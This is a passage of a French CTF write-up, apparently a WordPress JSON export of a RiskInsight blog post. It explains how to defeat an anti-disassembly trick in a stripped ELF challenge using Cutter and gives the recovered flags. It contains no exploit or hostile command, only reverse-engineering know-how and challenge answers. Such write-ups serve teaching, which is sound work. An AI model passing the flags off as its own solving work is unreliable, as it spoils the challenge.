class=\"sc10\">[<\/span><span class=\"sc11\">i<\/span><span class=\"sc10\">+<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">])-<\/span><span class=\"sc11\">dec2<\/span><span class=\"sc10\">)<\/span><\/span><\/span><br \/>\n<span class=\"w-code\"><span class=\"sc5\">print<\/span> <span class=\"sc11\">sol<\/span><\/span><br \/>\nL&#8217;ex\u00e9cution fournit le flag suivant :\u00a0<span class=\"w-inline-code\">sigsegv{LASTEGACESTPASSIFACILE}<\/span>.<\/p>\n<h2>Reverse : antistrings (x0rz)<\/h2>\n<\/div>\n<div>\n<p>Description :\u00a0Faites-moi confiance, XOR n&#8217;est pas la solution.<\/p>\n<div style=\"text-align: justify;\">Le challenge se pr\u00e9sente sous la forme d&#8217;un binaire ELF 64-bit <i>stripp\u00e9<\/i>. Ce writeup utilisera <b>Cutter<\/b>, l&#8217;interface graphique de <b>Radare2<\/b>. Les premi\u00e8re \u00e9tapes sont assez simples, puisque la fonction <b>main <\/b>ne poss\u00e8de qu&#8217;un appel \u00e0 une autre fonction :<\/div>\n<p>&nbsp;<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/4.bp.blogspot.com\/-jcZwKYrbErg\/W8iFR7piBII\/AAAAAAAAAkM\/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs\/s1600\/5_1.png\"><img decoding=\"async\" src=\"https:\/\/4.bp.blogspot.com\/-jcZwKYrbErg\/W8iFR7piBII\/AAAAAAAAAkM\/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs\/s1600\/5_1.png\" border=\"0\" data-original-height=\"166\" data-original-width=\"445\" \/><\/a><\/div>\n<p>&nbsp;<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\">Si l&#8217;on tente d&#8217;afficher le graphe de la fonction situ\u00e9e \u00e0 <b>0x004009e0<\/b>, l&#8217;erreur suivante se produit :<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\"><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/1.bp.blogspot.com\/-q9M_AOzJ_a0\/W8iFR6vqHCI\/AAAAAAAAAkQ\/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs\/s1600\/5_2.png\"><img decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-q9M_AOzJ_a0\/W8iFR6vqHCI\/AAAAAAAAAkQ\/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs\/s1600\/5_2.png\" border=\"0\" data-original-height=\"551\" data-original-width=\"524\" \/><\/a><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">Il s&#8217;agit l\u00e0 d&#8217;une technique anti-reverse, que l&#8217;on peut observer plus en d\u00e9tails dans l&#8217;affichage lin\u00e9aire de Cutter :<\/div>\n<p>&nbsp;<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/3.bp.blogspot.com\/-6BTguhm1L3c\/W8iI9lxdBnI\/AAAAAAAAAk8\/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs\/s1600\/5_4_1.png\"><img decoding=\"async\" src=\"https:\/\/3.bp.blogspot.com\/-6BTguhm1L3c\/W8iI9lxdBnI\/AAAAAAAAAk8\/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs\/s1600\/5_4_1.png\" border=\"0\" data-original-height=\"182\" data-original-width=\"446\" \/><\/a><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">Ci-dessous le d\u00e9tail des instructions :<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<ul>\n<li><i>push rax<\/i> : sauvegarde la valeur courante de RAX sur la pile<\/li>\n<li><i>xor eax, eax<\/i> : remet la valeur de EAX \u00e0 0<\/li>\n<li><i>test eax, eax<\/i> : teste si la valeur de EAX est nulle et fixe le flag Z \u00e0 1<\/li>\n<li><i>pop rax<\/i> : r\u00e9cup\u00e8re la valeur sauvegard\u00e9e de RAX depuis la pile<\/li>\n<li><i>jne 0x4009ee<\/i> : saute \u00e0 l&#8217;adresse indiqu\u00e9e si le flag Z vaut 0 (non pris)<\/li>\n<li><i>je 0x4009ef<\/i> : saute \u00e0 l&#8217;adresse indiqu\u00e9e si le flag Z vaut 1 (pris)<\/li>\n<\/ul>\n<div>Seulement, les instructions \u00e0 l&#8217;adresse <b>0x4009ef <\/b>ne sont pas d\u00e9sassembl\u00e9es puisqu&#8217;une instruction <b>jmp <\/b>commence \u00e0 l&#8217;octet pr\u00e9c\u00e9dent. Le saut \u00e0 l&#8217;octet pr\u00e9c\u00e9dent n&#8217;\u00e9tant jamais emprunt\u00e9, il est possible d&#8217;ignorer cette instruction et de demander le d\u00e9sassemblage \u00e0 partir de <b>0x4009ef<\/b>.<\/div>\n<div>Pour cela, un clic-droit \u00e0 l&#8217;adresse <b>0x4009ee <\/b>fait appara\u00eetre le menu suivant :<\/div>\n<div><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/4.bp.blogspot.com\/-kM26ZY4huGE\/W8iFSZy3O3I\/AAAAAAAAAkw\/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL\/s1600\/5_4.png\"><img decoding=\"async\" src=\"https:\/\/4.bp.blogspot.com\/-kM26ZY4huGE\/W8iFSZy3O3I\/AAAAAAAAAkw\/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL\/s1600\/5_4.png\" border=\"0\" data-original-height=\"166\" data-original-width=\"481\" \/><\/a><\/div>\n<div><\/div>\n<div>Il est alors possible d&#8217;observer le code qui devrait \u00eatre normalement ex\u00e9cut\u00e9 :<\/div>\n<div><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/3.bp.blogspot.com\/-_7mO1fWzQ1Y\/W8iFSw4EagI\/AAAAAAAAAk0\/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL\/s1600\/5_5.png\"><img decoding=\"async\" src=\"https:\/\/3.bp.blogspot.com\/-_7mO1fWzQ1Y\/W8iFSw4EagI\/AAAAAAAAAk0\/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL\/s1600\/5_5.png\" border=\"0\" data-original-height=\"78\" data-original-width=\"353\" \/><\/a><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\">En analysant plus pr\u00e9cis\u00e9ment le binaire, on se rend compte que ces techniques emp\u00eachent simplement le graphe de flot de contr\u00f4le (CFG) et que le d\u00e9sassemblage reste intact.<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\">L&#8217;analyse \u00e9tait donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d&#8217;identifier la fonction qui g\u00e8re le flag, <b>sub.BB_7c2<\/b>. Bien que des astuces anti-reverse soient \u00e9galement pr\u00e9sentes, les lettres du flag sont clairement visibles :<\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\"><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/2.bp.blogspot.com\/-JWo-np9INfo\/W8iFTSyG-YI\/AAAAAAAAAk0\/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL\/s1600\/5_6.png\"><img decoding=\"async\" src=\"https:\/\/2.bp.blogspot.com\/-JWo-np9INfo\/W8iFTSyG-YI\/AAAAAAAAAk0\/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL\/s1600\/5_6.png\" border=\"0\" data-original-height=\"384\" data-original-width=\"404\" \/><\/a><\/div>\n<div class=\"separator\" style=\"clear: both; text-align: justify;\"><\/div>\n<div>Le flag r\u00e9cup\u00e9r\u00e9 est alors <span class=\"w-inline-code\">sigsegv{W3llPl4y3d}<\/span>.<\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: right;\"><b><span style=\"color: #351c75;\">Jean MARSAULT<\/span><\/b><\/div>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Issus de la g\u00e9n\u00e9ration ayant connu le minitel, le bas-d\u00e9bit et les \u00e9crans cathodiques, l&#8217;\u00e9quipe formant l&#8217;association RTFM a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent. L&#8217;objectif de l&#8217;association est de cr\u00e9er un&#8230;<\/p>\n","protected":false},"author":1421,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"page-templates\/tmpl-one.php","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[3908,36],"tags":[3907,3891,3893,3895,3894],"coauthors":[3475],"class_list":["post-15580","post","type-post","status-publish","format-standard","hentry","category-challenges","category-cybersecurity-digital-trust","tag-code","tag-compte-rendu","tag-ctf","tag-rtfm","tag-writeup"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>[CTF] Writeup du round de qualification SIGSEGV1 - RiskInsight<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"[CTF] Writeup du round de qualification SIGSEGV1 - RiskInsight\" \/>\n<meta property=\"og:description\" content=\"&nbsp; Issus de la g\u00e9n\u00e9ration ayant connu le minitel, le bas-d\u00e9bit et les \u00e9crans cathodiques, l&#8217;\u00e9quipe formant l&#8217;association RTFM a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent. L&#8217;objectif de l&#8217;association est de cr\u00e9er un...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/\" \/>\n<meta property=\"og:site_name\" content=\"RiskInsight\" \/>\n<meta property=\"article:published_time\" content=\"2018-10-18T12:58:26+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-07-07T15:38:54+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png\" \/>\n<meta name=\"author\" content=\"Jean Marsault\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Jean Marsault\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/\"},\"author\":{\"name\":\"Jean Marsault\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/b91c655837841792e8ad612de7c9cced\"},\"headline\":\"[CTF] Writeup du round de qualification SIGSEGV1\",\"datePublished\":\"2018-10-18T12:58:26+00:00\",\"dateModified\":\"2021-07-07T15:38:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/\"},\"wordCount\":3169,\"publisher\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png\",\"keywords\":[\"code\",\"compte rendu\",\"ctf\",\"rtfm\",\"writeup\"],\"articleSection\":[\"Challenges\",\"Cybersecurity &amp; Digital Trust\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/\",\"name\":\"[CTF] Writeup du round de qualification SIGSEGV1 - RiskInsight\",\"isPartOf\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png\",\"datePublished\":\"2018-10-18T12:58:26+00:00\",\"dateModified\":\"2021-07-07T15:38:54+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#primaryimage\",\"url\":\"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png\",\"contentUrl\":\"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"[CTF] Writeup du round de qualification SIGSEGV1\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#website\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\",\"name\":\"RiskInsight\",\"description\":\"The cybersecurity &amp; digital trust blog by Wavestone&#039;s consultants\",\"publisher\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.riskinsight-wavestone.com\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#organization\",\"name\":\"Wavestone\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png\",\"contentUrl\":\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png\",\"width\":50,\"height\":50,\"caption\":\"Wavestone\"},\"image\":{\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/b91c655837841792e8ad612de7c9cced\",\"name\":\"Jean Marsault\",\"sameAs\":[\"https:\/\/x.com\/iansus\"],\"url\":\"https:\/\/www.riskinsight-wavestone.com\/en\/author\/jean-marsault\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"[CTF] Writeup du round de qualification SIGSEGV1 - RiskInsight","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/","og_locale":"en_US","og_type":"article","og_title":"[CTF] Writeup du round de qualification SIGSEGV1 - RiskInsight","og_description":"&nbsp; Issus de la g\u00e9n\u00e9ration ayant connu le minitel, le bas-d\u00e9bit et les \u00e9crans cathodiques, l&#8217;\u00e9quipe formant l&#8217;association RTFM a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent. L&#8217;objectif de l&#8217;association est de cr\u00e9er un...","og_url":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/","og_site_name":"RiskInsight","article_published_time":"2018-10-18T12:58:26+00:00","article_modified_time":"2021-07-07T15:38:54+00:00","og_image":[{"url":"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png","type":"","width":"","height":""}],"author":"Jean Marsault","twitter_misc":{"Written by":"Jean Marsault","Est. reading time":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#article","isPartOf":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/"},"author":{"name":"Jean Marsault","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/b91c655837841792e8ad612de7c9cced"},"headline":"[CTF] Writeup du round de qualification SIGSEGV1","datePublished":"2018-10-18T12:58:26+00:00","dateModified":"2021-07-07T15:38:54+00:00","mainEntityOfPage":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/"},"wordCount":3169,"publisher":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#primaryimage"},"thumbnailUrl":"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png","keywords":["code","compte rendu","ctf","rtfm","writeup"],"articleSection":["Challenges","Cybersecurity &amp; Digital Trust"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/","url":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/","name":"[CTF] Writeup du round de qualification SIGSEGV1 - RiskInsight","isPartOf":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#primaryimage"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#primaryimage"},"thumbnailUrl":"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png","datePublished":"2018-10-18T12:58:26+00:00","dateModified":"2021-07-07T15:38:54+00:00","breadcrumb":{"@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#primaryimage","url":"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png","contentUrl":"https:\/\/2.bp.blogspot.com\/-vb3Cd-d2WLQ\/W8X464x5wTI\/AAAAAAAAAi0\/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs\/s640\/_header.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.riskinsight-wavestone.com\/2018\/10\/ctf-quals-rtfm\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.riskinsight-wavestone.com\/en\/"},{"@type":"ListItem","position":2,"name":"[CTF] Writeup du round de qualification SIGSEGV1"}]},{"@type":"WebSite","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#website","url":"https:\/\/www.riskinsight-wavestone.com\/en\/","name":"RiskInsight","description":"The cybersecurity &amp; digital trust blog by Wavestone&#039;s consultants","publisher":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.riskinsight-wavestone.com\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#organization","name":"Wavestone","url":"https:\/\/www.riskinsight-wavestone.com\/en\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/","url":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png","contentUrl":"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/08\/Monogramme\u2013W\u2013NEGA-RGB-50x50-1.png","width":50,"height":50,"caption":"Wavestone"},"image":{"@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/www.riskinsight-wavestone.com\/en\/#\/schema\/person\/b91c655837841792e8ad612de7c9cced","name":"Jean Marsault","sameAs":["https:\/\/x.com\/iansus"],"url":"https:\/\/www.riskinsight-wavestone.com\/en\/author\/jean-marsault\/"}]}},"_links":{"self":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/users\/1421"}],"replies":[{"embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/comments?post=15580"}],"version-history":[{"count":9,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15580\/revisions"}],"predecessor-version":[{"id":15840,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/posts\/15580\/revisions\/15840"}],"wp:attachment":[{"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/media?parent=15580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/categories?post=15580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/tags?post=15580"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.riskinsight-wavestone.com\/en\/wp-json\/wp\/v2\/coauthors?post=15580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}